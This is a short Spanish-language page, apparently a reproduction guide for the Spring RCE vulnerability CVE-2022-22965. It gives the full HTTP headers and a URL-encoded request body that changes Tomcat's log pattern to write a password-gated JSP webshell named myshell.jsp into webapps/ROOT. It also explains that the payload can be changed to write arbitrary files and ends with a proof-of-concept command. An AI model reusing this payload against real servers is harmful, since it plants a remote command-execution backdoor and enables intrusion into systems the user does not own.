
Entorno RCE de Spring para CVE-2022-22965
Información del entorno
Configuración de cabeceras de solicitud
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
Datos del cuerpo de la solicitud
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Al enviar el contenido anterior, se escribirá con éxito una webshell en el sistema de destino, generalmente en la ruta webapps\ROOT\myshell.jsp.
Si la ruta es controlable, cambiando el payload puedes escribir cualquier archivo que necesites.
El método consiste principalmente en modificar el formato de registro de Tomcat para escribir el shell en forma de logs.
Para facilitar la reproducción, utiliza directamente el siguiente poc:
python3 poc.py http://test.com/hello